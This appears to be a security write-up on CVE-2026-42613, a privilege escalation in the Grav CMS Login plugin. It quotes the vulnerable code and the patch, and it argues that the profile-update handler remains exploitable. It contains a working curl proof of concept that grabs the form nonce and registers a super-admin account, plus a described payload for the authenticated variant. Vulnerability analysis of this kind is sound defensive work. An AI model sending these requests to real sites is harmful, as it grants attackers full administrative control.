CVE-2026-42613 is a critical unauthenticated privilege escalation in Grav. The Login plugin's registration handler reads an admin-configured allowlist of field names and copies each named field from the POST body into the new user's YAML file. Two of the field names a Grav admin can put in that allowlist are groups and access. Those names are also how Grav's access-control subsystem stores authority on a user. The fix, committed by getgrav maintainer Andy Miller on 23 April 2026, hardcodes a two-string denylist of those exact names inside the registration handler. The next form-processing function in the same file reads the same allowlist and writes the same user file. The denylist is not there.
CVE-2026-42613: Grav's Patch Is a Two-String Denylist. The Profile Handler Iterates the Same Allowlist.
pattern
cve
proof of concept
The allowlist does not know which of its names are authority
CVE-2026-42613 is a critical (CVSS 9.4) unauthenticated privilege escalation against Grav, a flat-file PHP CMS. There is no database. Users are YAML files in user/accounts/<username>.yaml. The access-control subsystem reads two keys off a user's YAML and treats them as authority: groups and access. access.admin.super: true is super-admin. access.admin.login: true is the admin login.
The Login plugin's registration form is driven by a config key called plugins.login.user_registration.fields. The plugin's own README is unambiguous about what that key is for:
user_registration:
fields: # List of fields to validate and store during user registration
- 'username'
- 'password'
- 'email'
- 'fullname'
- 'title'
- 'level'
- 'twofa_enabled'The README's customization section reinforces the mental model:
If you want to add your own custom fields to the registration form, just add fields to the form like you would with any other form. Then, to let the Login plugin add those fields to the user yaml file, you also need to add it to the "Registration fields" option in the Login Plugin configuration.
An admin reading that paragraph adds team or department or interests or, for a community site that lets members self-select a content group, groups. The list is a namespace. The namespace is the same namespace the access-control subsystem reads from. The README does not say which names in that namespace are reserved. There is no reserved-names list at all, on either side of the boundary.
The iteration copies each listed name from form to YAML
Pre-patch, LoginPlugin::processUserRegistration in login.php runs on POST to /register and reaches this loop:
$fields = (array)$this->config->get('plugins.login.user_registration.fields', []);
foreach ($fields as $field) {
// Process value of field if set in the page process.register_user
$default_values = (array)$this->config->get('plugins.login.user_registration.default_values');
if ($default_values) {
foreach ($default_values as $key => $param) {
if ($key === $field) {
if (is_array($param)) {
$values = explode(',', $param);
} else {
$values = $param;
}
$data[$field] = $values;
}
}
}
if (!isset($data[$field]) && $form_data->get($field)) {
$data[$field] = $form_data->get($field);
}
}Iterate each name in the allowlist. Try the server-side default_values[$name] first. If that did not write into $data[$name], fall through to whatever the form said. There is no per-name filter. There is no awareness that some names are different from others. The loop has been in the codebase since Grav 1.x and was unchanged on the day CVE-2026-42613 was filed.
The guards in Login::register look like safety checks. They are the trust inversion.
The dictionary $data is passed to Login::register() in classes/Login.php:
public function register(array $data, array $files = [])
{
$data += [
'username' => null,
'email' => null
];
if (!isset($data['groups'])) {
$groups = (array) $this->config->get('plugins.login.user_registration.groups', []);
if (\count($groups) > 0) {
$data['groups'] = $groups;
}
}
if (!isset($data['access'])) {
$access = (array) $this->config->get('plugins.login.user_registration.access.site', []);
if (\count($access) > 0) {
$data['access']['site'] = $access;
}
}
...
$user = $accounts->load($username);
$user->update($data, $files);
if (isset($data['groups'])) {
$user->groups = $data['groups'];
}
if (isset($data['access'])) {
$user->access = $data['access'];
}
$user->save();
return $user;
}Two if (!isset(...)) guards bracket the only fallback that consults server-side configuration. They read as safety checks: only apply the default groups if the caller has not pre-set them. They are not safety checks. They are the mechanism by which the registration form's allowlist-driven write overrides the server's idea of what a new user should be allowed to do. When the form handler has already put access in $data, the guard sees a value and skips the config fallback. $user->access = $data['access']. $user->save(). The file lands on disk with whatever permission tree the attacker supplied.
The contract of Login::register is "the caller decides whether the default applies." The registration form is a caller. The form data is fully attacker-controlled.
The request that promotes
Grav's form plugin serializes nested form values as data[outer][inner]. The registration page returns a CSRF token in <input name="form-nonce"> on any GET, unauthenticated. With groups or access added to user_registration.fields, the exploit is a single POST:
nonce=$(curl -s -c jar 'https://target.example.com/register' \
| grep -oE 'name="form-nonce" value="[^"]+"' \
| sed -E 's/.*value="([^"]+)".*/\1/')
curl -s -b jar -X POST 'https://target.example.com/register' \
-d "form-nonce=${nonce}" \
-d '__form-name__=register-form' \
-d 'data[username]=neutral' \
-d 'data[email][email protected]' \
-d 'data[fullname]=Neutral+User' \
-d 'data[password1]=Hunter2Hunter2!' \
-d 'data[password2]=Hunter2Hunter2!' \
-d 'data[access][admin][super]=true' \
-d 'data[access][admin][login]=true' \
-d 'data[access][site][login]=true' \
-d 'data[groups][]=administrators'Server-side, processUserRegistration iterates the configured user_registration.fields. access is in it; the admin put it there. $form_data->get('access') returns the nested array PHP parsed from the POST. $data['access'] is populated. Login::register's guard finds $data['access'] set, skips the config fallback, sets $user->access = $data['access'], and writes the file:
# user/accounts/neutral.yaml
username: neutral
email: [email protected]
fullname: Neutral User
groups: [administrators]
access:
admin:
super: 'true'
login: 'true'
site:
login: 'true'
hashed_password: $2y$10$...The attacker browses to /admin, logs in as neutral, lands in the super-admin dashboard. There is no second request.
The patch is two strings
The fix for CVE-2026-42613 is a literal:
+ // Privilege fields must never be sourced from public registration form input;
+ // honoring attacker-supplied values would grant instant super-admin even if an
+ // administrator mistakenly added them to `user_registration.fields`
+ // (GHSA-pxm6-mhxr-q4mj). Server-side `default_values`, invitations, and the
+ // `plugins.login.user_registration.{groups,access}` config remain authoritative.
+ $privilegeFields = ['groups', 'access'];
+
foreach ($fields as $field) {
// Process value of field if set in the page process.register_user
$default_values = (array)$this->config->get('plugins.login.user_registration.default_values');
...
+ if (in_array($field, $privilegeFields, true)) {
+ if ($form_data->get($field) !== null) {
+ $this->grav['log']->warning(sprintf(
+ 'Login registration: ignored client-supplied "%s" from form submission (username=%s)',
+ $field,
+ is_string($username) ? $username : '<invalid>'
+ ));
+ }
+ continue;
+ }The denylist is two items long. The framework had always known both names: Login::register keys its guards on $data['groups'] and $data['access'] and has done so for years. The privilege-bearing namespace inside the user YAML is exactly two strings. The denylist that closes the loop is the same two strings. Until 23 April 2026, the framework declined to write that list down where the form handler would read it. The boundary was the admin's allowlist; the admin's allowlist had no enforcement keeping the boundary in place.
The profile handler reads the same allowlist
LoginPlugin::processUserProfile is defined in the same file as processUserRegistration. It runs on POST to any page whose form declares process: update_user: true, which is what pages/profile.md (access: site.login: true) declares. Post-patch, the function is unchanged:
// login.php, processUserProfile, post-patch
$fields = (array)$this->config->get('plugins.login.user_registration.fields', []);
$data = [];
foreach ($fields as $field) {
$data_field = $form_data->get($field);
if (!isset($data[$field]) && isset($data_field)) {
$data[$field] = $form_data->get($field);
}
}
try {
$flash = $form->getFlash();
$user->update($data, $flash->getFilesByFields(true));
$user->save();
...Same config key. Same iteration. Same write into the user YAML. No denylist. No log warning. If groups or access is in user_registration.fields, the exact precondition CVE-2026-42613 was assigned for, any logged-in user can POST to a profile-update form with data[access][admin][super]=true and rewrite their own user file as super-admin.
The CVE description reads: "an unauthenticated user can self-register with admin.super privileges by injecting these fields into the registration request." It is accurate. It is also the unauthenticated half of the bug. Once the same misconfiguration is in place, the authenticated half is reachable through update_user, including by the user who just self-registered with site.login: true. The unauth vector and the auth vector exit through different functions but read the same allowlist.
The unauth vector is closed in 3.8.2. The auth vector is exactly what processUserRegistration looked like the day before the patch.
The privilege boundary lives in the name
The user YAML is a free-form dict. fullname is a string. title is a string. groups is a list of strings. access is a nested map. The access-control subsystem reads the keys groups and access from a user dict and treats their values as authority, not because they were declared as a privilege-bearing type at the schema layer, but because those are the words it reads. Any other field name in the user dict is profile data. The two names are the entire privilege namespace.
The registration handler iterates a list of field names supplied by the admin and copies each name from form input into the user dict. The form-input key and the user-dict key are the same word. There is nothing in the type system distinguishing "this name is profile data" from "this name is super-admin." The admin's allowlist permits names and the framework reads names; the namespace is shared, and the shared namespace contains exactly two strings that are authority.
This is the same shape as Mattermost's fileId, where a map[string]interface{} value was an ID only by name and the duplicate endpoint read it as a path; the same shape as LiteLLM's hashed_token, where a function parameter was hashed only by the name of the variable and one of three callers forgot. Grav's access is the YAML-key instance of name-is-the-only-type. The privilege boundary lives in the choice of word.
The denylist exists
processUserRegistration has the denylist. processUserProfile does not. Login::register has the guards that pass the attacker's input through to disk in both call paths. The framework knew the names. The patch wrote them down in one of two places that needed them. The other place is what the patched function looked like the morning of 22 April 2026.
PoC: getgrav/grav-plugin-login@3d419a0 (the patch) and GHSA-pxm6-mhxr-q4mj (the advisory).
The denylist is two strings. The framework owned both names. It still left the boundary in the admin's allowlist, in two functions, and only closed one.